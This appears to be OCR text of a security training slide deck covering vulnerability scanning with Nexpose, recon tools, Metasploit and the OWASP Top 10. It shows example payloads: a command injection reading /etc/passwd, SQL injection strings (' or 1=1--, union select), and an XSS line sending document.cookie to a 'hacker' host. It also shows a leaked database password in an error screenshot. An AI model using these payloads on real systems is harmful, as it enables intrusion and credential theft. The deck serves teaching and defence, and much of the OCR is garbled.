{2 Log
(# Done € Internet | Protected Mode: On fy v H100% -
1213 PM

Bl el D
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Connect nexpose Service

 Default port: 3780/tcp

Programs (4)

,{f Mexpose Uninstaller
w Start Nexpose Interactive Console
@ Start Nexpose Service

Stop Nexpose Service

C' | {x bi#rs//localhost:3780 v a4 =
O EHEE O EASEEEE. D EEEMEEE. O 2Ee-RRE [ fRE ?  [J Other bookmarks

The site's security certificate is not
trusted!

You attempted to reach localhost, but the server presented a certificate
issued by an entity that is not trusted by your computer's operating system.
This may mean that the server has generated its own security credentials,
which Google Chrome cannat rely on for identity information. or an attacker
may be trying to intercept your communications.

You should not proceed, especially if you have never seen this warning before
far this site.

[ Proceed anway] [ Back to safety]

b Help me understand




| Site Configuration
€ & C & bts//localhost:3780/site/wizard.jsp v @8 -39 =
Rl T @ T —————-—_—€—-—_=£

nexpose’ elp

community

<) Home | = Assets | & Vulnerabilities | Policies  |=| Reporis A Administration

Aszzets Sites Mew Site: Configuration E_;ﬂ S

Site Configuration

| Hext| | Save | |Can{:el |

111

Ceneral A site is a collection of assets fo be scanned. Basic site configuration includes selecting a Scan Engine and a s
accessto users. You can also configure scan credentials and alerts.

Assets
Hame |

Scan Setup

Credentials Importance ‘Normal [ ]

Web Applications Type Static

Organization Description

ACcess




Assets Configuration

<« ¢ & b#ers://localhost:3780/site/wizard jsp?siteid=1

Nexpose’

community

w3 =

Logged on as: roland

Help | Support | Mews | Log Off

E

¥y Home | == Assets | & Vulnerabilities  f; Policies  ]=| Reporis £ Administration

Assets Sites Home:

Site Configuration

R

Configuration

57| | Search Q]

Previous Next

General

Assets

Scan Setup
Credentials

Web Applications
Organization

Access

Save

Cancel

Included Assets

The listed IP addresses and host names are included in this site.

10.0.0.1-10.0.0.10

Import list from file Choose File | Mo file chosen

Excluded Assets

The listed IP addresses and host names will not be scanned as part of this
site.

ﬁ Enter one IP address or host name per line using

any of the following notations:

10.0.01

10.0.0.1-10.0.0.255

10.0.0.0/24

2001:db&:1

2001:db8::0 - 2001:db8:ff
2001:db8:M112
2001:db8:85a3:0:0:8a2e:370:7330124
www.example.com

IPvE addresses can be fully compressed, partially
uncompressed, oruncompressed. The following are
equivalent:

2001:db&:1

2001:db8:0:0:0:0:0:1
2001:0db8:0000:0000:0000:0000:0000:0001

Ifyou use CIDR notation for IPv4 addresses
(xxu24) the Metwork Identifier (.0) and Network
Broadcast Address(.255) will be ignored, and the
entire network is scanned.

10.0.0.0/24 will become 10.0.0.1-10.0.0.254
10.0.0.0M6 will become 10.0.0.1-10.0.255.254

Import list from file Choose File | Mo file chosen

m
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Scan Setup

€ - C  {&htips://localhost:3780/site/wizard.jsp?siteid=1

&
nexpose

community

w W 3-Q =

Help | Support | Mews | Log Off

<) Home =: Assels | & Vulnerabilities {3 Policies

Aszets Sites

Site Configuration

{=| Reports A Administration

Configuration

7| | search Q|

Previous | | Hext | | Save | | Cancel |
General Scan Template
Assels
Scan Setup Full audit

Full audit
Credentials

Web Applications
Organization

ACcess

Denial of senvice

Discovery Scan

Discovery Scan - Aggressive
Exhaustive

HIFAA compliance

Internet DMZ audit

Linux RFMs

Microsoft hotfix

Payment Card Industry (PCI}) audit
Penetration test

Safe network audit
Sarbanes-Oxley compliance

Web audit

_Selact or customize 3 =capn template which coptrols Dow assets are scanned and which checks are performed for this site.

- | Browse |

lect a scan template.

B paired with the Security Console in order to be available for selection or customization.

g

ir frequency. Determine whether incomplete, repeating scans start again from the
e scan does not complete within its duration, it will automatically pause. You can then
will stop until the next start date and time.

I-RAPID7
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Scan

<« C & hitpre//localhost:3780/sites.html 7 d =
<) Home | == Assets | & Vulnerabilities Hz Policies {=| Reports £ Administration a3
Assets Sites r{; Search ﬂ
Sites by Risk v X Sites by Risk Over Time v X
150,000
Risk
[x] 50,000 100,000 150,00 100,000
. . . 3
r
50,000 =il Hom e
@
in Home o
02-Oct 03-0Oct
Date k
n 11/15/2012 12:00 AN Last generated on 52012 12:00 AR
Sites by Vulnerabilities v X Sites by Active Assets v X
Yulnerabilities Assets B
[x] 50 100 150 200 250 0.0 05 1.0 1.5 20 =
£ £
in Home in Home
Site Listing v X
Hame Assets Vulnerabilities Risk f—, Type Scan Status Scan dit Delete
Home 2 267 145,018 Static Scan finished on Wed Oct 03 2012 [} ] ol
New static site
-
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Report

€ - C | &hiyss//localhost:3780/report-listing.html?reportid=1 w Bl E-Q =

Logged on as: roland

® Help | Support | Mews | Log Off
nexpose

community

= Assets @ Vulnerabilities

<) Home Wz Policies | {=| Reports | £ Administration

Reports 20121030 History

Click any of the listed links to view an instance of the 20121030 report.

Report History

Created On

Thu Mov 15 2012 10:46:06 GMT+0800 (Taipei Standard Time)

!*RAPID7

E¢| | Search

Report Size

e fof

Delete k

[Sie Tlame Stari Time End T

Total Time.

Status

[Hams ‘Cciober 03, 2012 08,48, CST Ociober 03, Z01Z 08,52, CST

4 minutes

Sucoess

Overall Risk Trend

E]

I

i
H

100 |
im0

e sbeseiy

IO a2 FI0N MaIOR A0 a2 Sl B AgDE  Sqd0R  0ai2  Nedowd
— Total Risk — Avarage Risk

[Assets Total Risk. Average Risk HighestRisk Site HighestRisk Asset
12 was 0y 145,018 (was 0.0) 72,509 wes 00 Home 002314AD7F54

145,018 gwaz 0.0)

144,030 (wes0.0)

The susit was performed on 2 systems, 2 of which were found to be active Snd wers seanned

Vulnerabilifies by Severity

Vulnsrabiltiss

o
=
ol

Thers ware 257 vulnarabilitiss found during this sean. Of thase., 228 wers Crtizal They are relstively sasy for sttasiers to sxploit and may provide them with full contrel of the sHacted systems. 29 vuln

were 3 moderate vulnrebil tiss discavered. These sfien srovide infermaiion te stisckers thst may sssist them in mounting subssavent stiacss on your netwark. These should slss be fixed in & fimely manner, but are not s wigant as the siher vulnersbilities

Sritical vulnarabilities wers found to exist on 1 of the systems, making them mast suscaptisls to sttac: 2 systems wars found Mederats were found on 2 systems. No systems wars fras of vulnerabilitiss.

Most Common Vulnerabilities

Vulnerabilies
60 01 02 03 04 05 08 07 08 00 10

Nodes by Vulnerability Severity

T IEET]

arstilities wars severs. Ssvare vulnsrabilities are ohien harser to sxplait

Most Common Vulnerability Categories

[@ Romote Exscuton 22 048%
|@ Adobe - 20083%

|0 Adobe AsrobatReader- 14734%
|0 Denial of Senves - 14.42%

|0 Browsers- 7001%

o Mozita - 6:897%

& wozita Firstox. 6.897%

@ Adone AR -5 320%

ane may nat provids the same seasss to sfiected systems. Thers

|@vien-181%
|exss-0731%
Thers were 1 the 20112120, 20112134, 20112138, 2011:2136, 20112197, 20112425, 20112448, 2011:2450, 20112451 and 20112452 maing them Thers were 211

Remote Excution cateaory. making it the most commen vulnerability cateaory
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Web-based Recon Tools

- 2 C' [J tools.digitalpoint.com

° http://tOO|S-diQita|pOint.C \ERE | EAmASEE. CSESoRER. [ eEe-Ams @R 09

om
- TEREM

W Tweet [ 35 BT Tr EILRE T 135 w Dhd You Know... The world's largest 5

# Tools

The forum rules and policies have been revised and published in the FAQ/Rules area. Please read (and un
http://forums.digitalpoint.com/fagq.php*ag=rules

After you read them, you can dismiss this notice with the X at the upper-right.

Free Webmaster Tools
Here you can find useful tools that are free to use for our users.

AdSense Sandbox

Check what AdSense ads would display on any URL.

Analytics Globe

View a WebGL-based 3D globe of visitors based on your Google Analytics data.

Baseb64 Encoder/Decoder

Encode or decode any textinto baseg4 MIME type.

CSS Compressor

Allows you to compress/minify CS5 files.

Diff Comparison

Allows you to compare two versions of text to determine what the differences are.

DNS Lookup

A tool that allows you to quiddy chedk DNS records for any domain/host.

DNS Zone Transfer

Check the security of your DMS servers {check if your DNS zone files can be transferred).

EXIF Reader

Read EXIF meta data from any JPEG or TIFF image.

Geolocation
Allows you to geographically locate fg IP address or hostname. Also shows your own IP address.

Geo Visitors

Where in the world are people that are visiting your site/blog?

HTTP Headers

View HTTP response headers for any URL.

Hit Counter

Simple to use web hit counter.



http://tools.digitalpoint.com/
http://tools.digitalpoint.com/
http://tools.digitalpoint.com/
http://tools.digitalpoint.com/

Web-based Recon Tools

 http://centralops.net/co

Lentral ﬂps AV 1i0ancea ontine 1nternet utiities

utilities
| AspTcpQuery sample
Eomain Dossier
Demain Check | service (Cwhois finger @HTTP ) echo
Email-Bossier 5

BrowserViror
= server  [www asuscloud com

Ping

Traceroute query |GET /HTTP/1.0
Fistookuap

AuteWhois

TFepuery

AnalyzePath

Querying www.asnsclond.com [208.74.76.174]

[begin response]

HITE/1.1 200 OK

| Server: Lpache-Coyote/l.1

| X-Powered-Bv: J5E/2.0

Set-Cookie: JSESSIOHNID=COD1T7CE23CESEFA3188881
Content-Type: text/html:charset=0UIF-8
Content-Length: 7930

Date: Wed, 07 Wowv 2012 14:28:17 GMT
Connection: close

d
1]
n
0
(4]
(4]
(]
1
L
3]
(o]
oy
=1
:;4
1
19
-
m
w
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http://centralops.net/co
http://centralops.net/co

Cloud-based Tools

» CloudShark

- SHODAN

« PunkSpider
+ WebSecurity ($)



PT Live CD/Distro

Back Track

Kali //\—b
Pe ntoo c<hack | track E
Backbox

WEAKERTH4N BLUE GHOST

Network Security Toolkit(NST)
Bugtraq 2
Blackbuntu (x64 only now)
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PT Live CD/Distro

« OWASP Live CD (2008)
« Samural WTF (2012)
« Web Security Dojo (2013)
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What's Metasploit?

_ive framework for penetration testing
-rom basic to advanced exploitation
-rom manual to automatic exploiting
-rom one-time to comprehensive
Integrate with 3-rd party tools
Designed by HD Moore

COTS based on msf(metasploit framework)
— Metasploit Express
— Metasploit Pro
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Supported OS

O

& 4

For Windows For Linux 32-Bit For Linux 64-Bit

Free Download 0 |

Free Download 0 |

Free Download 0 |

Metasploit Version 4.5.2

http://www.metasploit.com/download/
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Who Made It?

@ metasp|0|t Exploits Blog Support Documentation RAPIDF) ~

Free Tools
World's most used penetration testing soft

Contact

About

A collaboration of the open source community and Rapid7. Our penetration testing software, Metasploit, helps verify
vulnerabilities and manage security assessments.

W  FREE METASPLOIT DOWNLOAD LEARN MORE

Metasploit Newbies Framework Users Exploit Developers

New to Metasploit? This is the place to Been using MSF for years? Check out the Want to write exploits or submit open
start. Get access to information, free tools, latest development and tap into the source code? Get access to the tools and
tutorials and more. community. docs.

* Get an intro to penetration testing * Get community support * Download source code

* Learn about Metasploit * Compare with Metasploit Pro * Join Metasploit IRC channel

* Install Metasploit (Windows | Linux) * Setting up a development environment * Access developer docs




What can metasploit do?

mREx o € O o4828H(H) 11:39

e
Kali Linux > \ Top 10 Security Tools b

wE > O EElE >
A@TA

> O RS >
> T webiz
? S S

@ EmeEn
B xTEE
+ wrsepRs:

>
Gl 0 >i \(]'] Tube Q Upload

B B 8 R P2 = Y
T[:] ETER Y e

e

:'

es 1404ee3ad3043505)404¢ee: 3106 Tedd 1689310735907 200089¢E;
?JDT . e\ 1stant: 1 fa%e842be698¢e 1badf907119a 148184 f98b1 192473528232 fBc 10721 45¢
PRI

JeQl0T 130435051464 C4e3CTEab4cTab

APTI B —i53H P U BRI ETENERER)
" TrendMicroTW - 79 videos 2996

E l m Subscribe 212 &2 9




VA

Support nessus and nexpose
Import VA output into msf database

Scanning from within msfconsole
— Nessus
— nexpose

SMB credentials inspection
Open VNC authentication



mst versions

@metasploit’

Metasploit Express plus:

Social Engineering
Web app scanning
Post-exploitation macros

IDS/IPS evasion
Metasploit Community plus: VPN pivoting

@metasploit B smart exploitation Team collaboration

community

> Password auditing Tagging
> Network discovery > Evidence collection PCI & FISMA reports

* Vulnerability scanner import > Logging & reporting Enterprise-level Nexpose

» Basic exploitation > Replay scripts integration
VMware & Amazon EC2
virtualization

* Module browser

Metasploit Framework

Open source development platform
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Applications Places ; Sat May 18, 12:16 PM

Metasploit - Projects - Iceweasel

File Edit View History Bookmarks Tools Help

| @ Metasploit - Projects |‘ & |

«@

localhost v @a| [V

[ Most Visitedv Jll Offensive Security % Kali Linux % Kali Docs EBExploit-DB Wy Aircrack-ng

metas

communityll

Home Froj

Quick St
What do you wl

Project L

== Go to Proj
!hlwl 10
Hame:

O

O

Showing 1 to

Quick PenTest *x
Set up atestthat automatically gathers information about the target network, launches attacks againstthe targets, and builds a report of test
findings.

Try Metasploit Pro to test-drive this feature

You are currently using Metasploit Community Edition. Metasploit Pro will give you
these additional features and more:

Smart exploitation Post-exploitation macros
Password auditing VPN pivoting

IDS/IPS evasion Team collaboration

Evidence collection System tagging

Logging & reporting PCI & FISMA reports

Replay scripts VMWare OVF virtual machine
Social engineering ¢ Amazon EC2 deployment
Web applications » Persistent sessions & listeners

Register now for a free Metasploit Pro trial!

g Metasploit - Projects ... root@kali: ~

Administration ¥

Hide Mews Pang|

le for Mutiny
htained appliance
h as servers,

CVE-2013-1347)
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steps of exploitation in msf

select launch

exploit options | exploit
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metasploit demo

. %isa_szQ%%,%’é
2 M ZMITE
2%,%,%4‘%55

|B2=9/ - ARRSR
bR 1 SR —AER -
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Total Threat Trend

2012 Sampling of Security Incidents by Attack Type, Time and Impact

conjecture of relative breach impact is based on publicly disclosed information regarding leaked records and financial losses

Attack Type
SQL Injection ‘ .
Spear Phishing ‘ Online .
e Online

Physical Access .

Services

Online

o | 0% :."a.
Services
e gy @ ‘ 6. & @e
L JEhy L
rvices Govemnment
Online ‘

[ P
Online
‘ mm. Governmen!

E-Commerce

Online
E-Commerce - d N Seavices

Online
Services

ize of circle estimates relative impact

f incident in terms of cost to business t

Services

E-Commerce GimréAt

Jan Feb Mar April May June July Aug Sep Oct Nov Dec
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2013 H1 Sampling of Security Incidents by Country, Time and Impact

conjecture of relative breach impact is based on publicly disclosed information regarding leaked records and financial losses

Top Countries

é United States

%? United Kingdom

c Netherlands
0 Australia

~ Czech Republic

Size of circle estimates relative impact
of incident in terms of cost to business

Jan Feb Mar April May June

)9



ication Attack Trend

Web App

Web Application Vulnerabilities by Attack Technique
2006 to 2012

60%

50%

40%

30%

20%

10%

0%
2006 2007 2008 2009 2010 2011 2012

M Cross-Site Scripting SQL Injection M Other File Include
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£

4\

i}
)
5
l

7’

Component
Client Computar Client Computer
Client Tier Order Processing Order Processing
Web Interface Rich Interface
[ [ : .
I | Firewall, IPS, WAF(F5,Citrix,Radware)
Web Server
Web Tier Order Processing Application
Virtual Directory
I .
| I | S I Firewall, IPS
Application Server
Application Tier g bR
ey Programmer Web Application
1 - _ —
| I EEZNE DB Firewall(Oracle, Imperva), DAM
Database Server
Data Ti Order
Ot DBA Database
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http://www.gartner.com/technology/media-products/reprints/f5networks/vol6/article2/article2.html

Y v == il N ST b oo S
== BT A BB ES

A% E 15 74 18

File Edit View History Bookmarks Tools Help
€ -»-@ L @G Jinderchin [~[&] [G-[Axss Y

Cooglc ‘secuﬂtycontulc]xsﬁficaﬁnn v‘ |G Search ~ } 2 \9) E M~ ﬁ Bookmagk& § LTk T Lofil (e Send tov 5 @ seourity » @ Settings~

[} ISecuity 8 i [&] Information Security ... |_| 1BM Taiwan - ﬁi el | Sl — 1 (R - =i -I-—I' JE 1% % % %
Y%} 5
R E- IR

_ Microsoft OLE DB Provider for SQL Server $£35% 8

i [DBNETLIB][ConnectionOpen (Connect()) 1281 Server RSB «

i Jdic ningfconnection.inc, 316 —)_C-}Eam—gm - Mozilla Firefox
Fi: Edit View History Bookmarks Tools Help

<EA : v @ /Ll} E - ningfconnection.ing \
Google (EREE ST v | G Search +
@ Thomeon... || ITEEH.. S EEER. | [ 9pdfGppl. |

okmarky N\ 4 E AutoFill ||
[ BX=R .. | [ HEH

Microsoft OLE DB Provider for SQL Server &35 50004005
[DBNETLIB][ConnectionOpen (Connect()). ]SAL Server REESIEEFFHY ©

‘connection.inc, F6

PP connection inc - SE¥AE
BRE REE B0 WRO HA®

k%
Set Conn = Server.CreateObject("Adodb.Connection™)
Conn.ConnectionString = "Provider=SQLOLEDB. |;data

— source] Br id=sa;pwd=6666; database—l=
- : 'Set Conn = Server. CreateObJect("ADODB Connection” )

"conn.Open Application("conn_enployee™)
Conn.Open
%>
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B
B
o

\N/7

i1 90: Catch_ex As Exception

17 91: Finally

11 92: q C1sCloudutil.RecRtn(idx, UID, String.Jloin(",", aRtn), Session.SessionID, True)
11 93: End Try

1T 94: End Sub

E#HER/: C\WEB_PRD\cloud_prd\XFrmLogin.aspx.vb  7: 92
EaE:

fgs,ﬁxyéﬁféf"") w;%?ﬁ%&%‘” IR "ilpjf3texy22zuhazsz0ugif’ ZEATEETER.

Microsoft.VisualBasic. Comp11er5erv1ces Container . InvokeMethod(Method TargetProcedure, Object[] Arguments, Boolean[] CopyBack, BindingFlags F'Ia?s) +202

Microsoft.VisualBasic.CompilerServices.NewLateBinding.ObjectLateGet (Object Instance, Type Type, String MenberNane, Object[] Arguments, String[] ArgumentNames, Type[] TypeArguments, Boolean[] CopyBack) +190
Microsoft.VisualBasic.CompilerServices.NewLateBinding.LateGet (Object Instance, Type Type, String MemberName, ObJect[] Arguments, String[] ArgumentNames, Type[] TypeArguments, Boolean[] CopyBackg

+167
tw.com. .C1sDBIO.Exc(List 1 jasql) in C:\Office TWPWeb\OmegaL1b4\C1sDBIO vb:466
[Exceptwn }%ﬁ 11p f3tcxy222uha2520ugjf' ZIERREEIEE .
205 Imt'la'l Cata1og—c1oudDB User ID C1oudDBUser Passv.ord c'Iouduse
O : E 5 E DETO. Vo o
tw. com C1SDBIO Exc(L1st i1, 1aSq'|) in C: \Of‘F‘lce\TWPheb\OmegaL'lb4\C1sDBIO vb: 4/4
[Exception: }%Jﬁ "ilpjf3tcxy22zuhazszOugif' ZERMGEENERE.
BRFLFR ) EEIEE.

Data Source= lO 1.2.205;Initial Catalog=CloudDB;User ID=CloudDBUser ;Password=clouduser@l23;
Data Source=10.1.2.205;Initial Catalog=CloudDB;User ID=CloudDBUser; ‘Passvord=clouduser@123; A

tw.com. .C15D810 HancﬂeEx(Except'lon ex) in C: \O*Ff'lce\TwPWeb\OmegaUb4\C15DBIO vb:831

tw.com. .C1sDBIO.Exc(List 1 iaSql) in C: \OFﬁce\TwP\&eb\OmegaUb4\C15DBIO vbh:480

tw.com. .ClsDataUti].SaveRec(Int32& idx, String jAgentId, 5tring iFuncName, String iRtnMsg, String iSessionId) in C:\Office\TwPWeb\TwPWebLib\ClsDataUtil.vb:416
tw.com. .C1sCloudutil.RecRtn(Int32& idx, String jAgentId, String iMsg, String iSessionId, Boolean iRec) in C:\0ffice\TwPWeb\TwPWebLib\C1sCloudUtil.vb:692

XFrmLogin.Login() in C:\WEB_PRD\cloud_ prd\XFrmLog1n aspx.vb:92

XFrmLogin.ASPxButtonLogin_Click(Object sender, EventArgs e) in C:\WEB_PRD\cloud_prd\XFrmLogin.aspx.vbh:110
DevExpress.Web.ASPxEditors.ASPxButton.OnClick(EventArgs e) +96

DevExpress.Web.ASPxEditors.ASPxButton.RaisePostBackEvent (String eventArgument) +540
DevExpress.Web.ASPxClasses.ASPxWebControl.System.Web.UI.IPostBackEventHandler.RaisePostBackEvent (String eventArgument) +13
System.Web.UI.Page.RaisePostBackEvent (IPostBackEventHandler sourceControl, String eventArgument) +13
System.Web.UI.Page.RaisePostBackEvent (NameValueCollection postData) +36

System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +5563

A BEd: Microsoft .NET Framework $2:4.0.30319; ASP.NET &

103



OWASP Top 10 (Risks)- 2013

OWASP Top 10 — 2010 (Previous) OWASP Top 10 — 2013 (New)
Al - Injection Al - Injection
A3 - Broken Authentication and Session Management A2 — Broken Authentication and Session Management
A2 - Cross-Site Scripting (XSS) A3 — Cross-Site Scripting (XSS)
A4 - Insecure Direct Object References A4 - Insecure Direct Object References
AB — Security Misconfiguration AS — Security Misconfiguration
A7 - Insecure Cryptographic Storage — Merged with A9 = Ab - Sensitive Data Exposure
A8 - Failure to Restrict URL Access — Broadened into = A7 — Missing Function Level Access Control
A5 - Cross-Site Request Forgery (CSRF) A8 - Cross-Site Request Forgery (CSRF)
<buried in A6: Security Misconfiguration> A9 — Using Known Vulnerable Components >
A10 - Unvalidated Redirects and Forwards A10 - Unvalidated Redirects and Forwards
A9 - Insufficient Transport Layer Protection Merged with 2010-A7 into new 2013-A6

OWASP Top 10 - 2013



Al.Injection

Definition
— Turns data(parameter) into "command"(OS, SQL) of
Interpreters

— SQL queries, LDAP queries, XPath queries, OS
commands, program arguments

Target
— Interpreters(e.g. database, OS shell)
P 9
Threat
— Untrusted data
I m pa Ct Technical Business
_ A I C Threat Agents Attack Vectors Security Weakness Impacts Impacts
r =1 Application Prevalence Detectability Application /

Specific COMMON AVERAGE Business Specific
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Command Injection

VUHITIIGCIAQMITILY « WWITIINIUAINWY AW WALV

Ping for FREE

Enter an IP address below:

6.8.8.8; cat /etc/passwd

56(84) bytes of data.

icmp_seqg=l ttl=4% time=28.6 ms
icmp_seqg=2 ttl=4% time=23.5 ms
icmp_seq=3 ttl=4% time=86.8 ms

time 2004ms

A

3 packets transmitted,
rtt min/avg/max/mdev
root:x:i0:0:root:/root:/
daemon:x

backup:x:
list:x:38 _.Ha__
ircix:39:3%:ircd:/
gnats:x:41: 4_'“—at3 Bu jul f 1 1in) @ fvar/lib/gnats:/bin/sh

mysql:x:103:105:MySQL Server,,, :/
;a'dscapE'x'LOQ"” HH ib/landscape:/
sshd:x:105: 655;9 f i

’va“f;_b postgresgl: /bin/bash

messagebﬁs.x.'
tomcat6:x:108
user:x:1000:1000:
polkituser:x: 09
110: 9 Hardware abstraction
120: Pd seludio daemon ,,,:Hf
r/var/spool/postfix:

postfix:x:112:123:
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SQL Injection(SQLI)

Attacker

. DMZ.
< @

Web Server

Firewall

Intranet

DB Server

Threat

BB F 4K 4 uh e HAEZUA
R EHE

Weakness

dEuhIE AR > REEEE A
S8 EERENS R

Target
A4 DB




Impact of SQL Injection

L4

Hacker
Bypass Authentication
. Escalate Privilege
Int-ernet Steal Data
- Tamper with Data
= rewall . .D.I;/I.Z.;‘ Tamper with OS Configurations
, "Tagggs ‘ Disrupt DB Service
Web Server

ylll.
—+

q

Q

>

D

—+

¢“‘
L

DB Server
108



109



SQL InJectlo BN ER S

Worldwide

(© Empowering Technology Support

You are here /8¢ ads/

@ mpowering Techvalogy 7 Designed to make it easy for you}o access

Jn» frequently used functions, Acer's innovative
Empowering Technology is a simple and
easy-to-use portal for managing your Acer IT
products

This website provides you with comprehensive

information about Empowering Technology and
the most recent software/utility updates that you
may need

For faster download speeds and region-
customized support, please select your location
below:

Select your location - —~
_

Uity Gulos Database Server

> Emgowenng Teohnologx for

defaced by mOsted and amen most important team
2009 acer haxOred

> Empowering Technology for

defaced by mOsted and amen most important team
2009 acer haxOred

FAQ
>

defaced by mOsted and amen most important team
2009 acer haxOred



= - Mozilla Firefox

x T W TSN T P W TEEETRRTRR TR TR

File Edit View History gookmarks Tools Help

|

C G A ([ httpy//www ‘resume/queryPasswd.jsp w -l [-fiv site Al E ﬁ @ -

2} Most Visited ‘@ NTFS.com Partition Boo... *§ Google Dictionary || D-LINK ™M Gmail (& Market Share ‘¥ Market Share _| Root Android (@) The Case of the Missing...
robtexl james73 m

2%
| iy Problem ... | (i Problem ... | (i Problem ... | (b Problem I... | (i Problem ... | (i Problem I... | /i Problem L. | @ Votel Ho.. | || TWNIC | | httprw/zhy/| o x| = |- ‘

- ANER#A
{ERERE james73' or 1=1—
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ETNE

Done
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Demo : Bypass Authentication

Sign Off | Contact Us | Feedback | Search

AltoroMutual ﬁ@ i

B MY ACCOUNT PERSOMNAL ‘ SMALL BUSTNESS ‘ INSIDE ALTORD MUTUAL

IWANTTO ...

s View Account Summary [HEIIO Admin User

+ View Recent Transactions

# Transfer Funds Welcome to Altoro Mutual Cnline.

* Search News Articles

* Customize Site Language View Account Details: |Z|

ADMINISTRATION
» View Application Values
* Edit Users

Erivacy Policy | Security Statement | @& 2011 Altoro Mutual, Inc.

The Altoro Mutual website is published by Watchfire, Inc. for the sole purpose of demonstrating the effectiveness of Watchfire products in detecting
web application vulnerabilities and website defects. This site is not a real banking site. Similarities, if any, to third party products and/or websites are
purely coincidental. This site is provided "as is" without warranty of any kind, either express or implied. Watchfire does not assume any risk in relation

to your use of this website. For additional Terms of Use, please go to http://vaww. watchfire.com/statements/terms.aspx.

Copyright © 2011, Watchfire Corporation, All rights reserved.
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Demo: Data Disclosure

Sign Off | Contact Us | Feedback | Search
A DEMO
AltoroMutual : @: E I f % g DEMO
Py == - : ONLY

B MY ACCOUNT PERSONAL | SMALL BUSINESS | INSIDE ALTORD MUTUAL

IWANTTO ...

I pa— Recent Transactions

* View Recent Transactions

+ Transfer Funds After  01/01/2013 union select  Before  01/01/2014

*+ Search Mews Articles

¢ Customize Site Language

TransactionID Accountld Description Amount
ADMINISTRATION "

admin admin

* Wiew Application Values

+ Edit Users celay Ali
jsmith Demol2324
sjoe frazier
sspeead Demol224
tuser tuser
=

Erivacy Policy | Security Statement | @& 2011 Altoro Mutual, Inc.

The Altoro Mutual website is published by Watchfire, Inc. for the sole purpose of demonstrating the effectiveness of Watchfire products in detecting
web application vulnerabilities and website defects. This site is not a real banking site. Similarities, if any, to third party products and/or websites are
purely coincidental. This site is provided "as is" without warranty of any kind, either express or impliead. Watchfire does not assume any risk in relation

to your use of this website. For additional Terms of Use, please go to http://www.watchfire.com/statements/terms.asp:x.

Copyright © 2011, Watchfire Corporation, All rights reserved.



A3.Cross Site Scripting(XSS)

"><SCRIPT>var+img=new+Image();img.src="http:
//hacker/"+document.cookie;
</SCRIPT>

browse
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A3. Cross-Site Scripting (XSS)

« Definition
— Permits an attacker to inject code (typically HTML

or Java script) into contents of a website not under
the attacker's control

« Jarget
— Primary victim : end users(browser)
— Secondary victim : Web application

« Threat
— Untrusted data

Technical

— Misuse Attack Vectors Security Weakness

USers Impacts

Exploitability Impact

AVERAGE MODERATE




A3. Cross-Site Scripting (XSS)

« Impact
- RERIEAERNCookie - FRHEHBMHIEERHIL -
- R EAZEEREOIRAL - RERFREHESEA
Ball °

- REAZIHAEREQNRBERLL - ZREBEREEMEN -

- WEHRWIFREILAS - BHEBLSRT - SHEE
ML EREFERERE °

Technical
Impacts

Attack Vectors Security Weakness

Exploitability Impact
AVERAGE MODERATE
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Reflected XSS AR A A

Sign In | Contact Us | Feedback | Seard

AltoroMutual »

& ONLINE BANKING LOGIN PERSONAL SMALL

‘ INSIDE ALTORO MUTUAL

e

PERSONAL
» Deposit Product

Online Baglc

SMALL BUSINESS
+ Deposit Products Y 2 FULLY Portoio
 Lending Services

re
® Other Services

INSIDE ALTORO MUTUAL

e Squad, APS)Z 15 {EAIIRSET
g space, let Altoro Mutual's pramier real e 7 SAPILE L. —_—
: : 5, BEUEIEEE, SEEISE, FEZ

RELZEHOLESE

y  BeEShul mailtracet

I fome [«

RETEHE S,

MEF =LA EE
THyRRBURERE, ™
R ¢

Facebook APE Notice: 37 Bl{Ef frE e asgE

fEEEH0 APS

http:/fwwow testfire.net/search.aspx?bdSearch= < script> window.open(http://www.google.com') < /script>



|

T EE W0 R A

« REBRTRE

Session Edit View Bookmarks Settings Help

fields are available. Regardless,

[*] I have read the above message. [*]

Press {return} to continue.

172.31.8.102 - - [38/May/2811 22:35:27] "GET / HTTP/1.1" 280 -

A HIT! Printing the o

emall=myemail@gmail.com W

18355 plac
. 4-,A",2°°,D,D
PARAM:
| WHEM YOUR FIMNISHED. HIT CONTROL-C TO GEMERATE A REPORT

172.31.6.102 - - [38/May/2011 22:35:51] "GET / HTTP/1.1" 2880
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xLab/09 Social Engineering/C.Phishing_Facebook_SET/Phishing_SET.htm

Add a Link Using Reflected XSS

@ Altoro Mutual: Search Results - Mozill

File Edit View History Bookmarks Tools Help Related Links

@ ~ C 4y (| nttp//demodtestfiren 77 ) " ['t" document.write P] % ﬁ D |@!' @ x

2, Most Visited ‘@ NTFS.com Partition Bo... *§ Google Dictionary | | D-LINK [ Gmail {5y Market Share | | Market Share »

| B3 mRiuEs..

% com-main.... ¢ End-User L. ‘ || Altoro... x I - com-main....} &% JavaScript... | % Tryit Editor..‘rrf -!-\' v

- -~
Sign In | Contact Us | Feedback | Search —

@rol\/\utual >

= ONLINE BANKING

LOGIN PERSONAL SMALL BUSINESS INSIDE A%Ro MUTUAL

PERSONAL
Deposit Product

Search Results

4

Checking
Loan Products
Cards
Investments & Click Here
Insurance

® Other Services

No results were found for the query:

m

e e o s e

SMALL BUSINESS

Deposit Products
Lending Services
Cards

Insurance
Retirement

Other Services

INSIDE ALTORO MUTUAL

About Us
Contact Us
Locations

Investor Relations
Press Room

Careers

Privacy Policy | Security Statement | @ 2011 Altoro Mutual, Inc.

L L F— - Ly L e rd X L £ 4 2 e 190

2

Done

RolegGge o t=12 232
S_’Iﬂ & Tor Disabled
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I:YouTube Stored XSS

R

@

@ v c (&) :fﬁ http: ffwww, youtube, comfwatch?v=IQXofHZ-grk
cOEBYVYERORY oY

‘" YouTube - ISR SQL SunBurn - ISS {in...

YUU TUhe l I Search Browse = Upload

Edit Video  EditVideo Annotations AudioSwap Captions and Subtites ~ Insight

Uploaded oy mMUse o

&#169; 2009 WMG

Top Comments

PLEASE, STOP talking about Kate Huc ISR SQL SunBurn - ISS (insecurity.ro)

nothing else! 1337TinKode 1 videos [¥] = Subscribe

Maizjmenfous 2 weeks ago 146 o)

Lucky kid had a Muse gig upstairs in h

Pautxbaszsx 1 week ago 5 o)

e aE e A I eSO Ay o5

(] Visit InSecurity.ro - TinKode

http://www.xssed.com
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S xEHER (Black-box Testlng)

N

« EERHEITINWebERAREINETRA - MIEH
[RIGIZ TG o AT

« XHF)E M (Dynamic Analysis) --ceeeee \

{

i g

1

i
Request i

— | Web Server
o

1 u[\ \W

St

‘ Response i
BRI T § gl

DB Server
o ,
----------------- 121
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/v

il
N/
;|:|I|

IBM AppScan-# BN EZ;

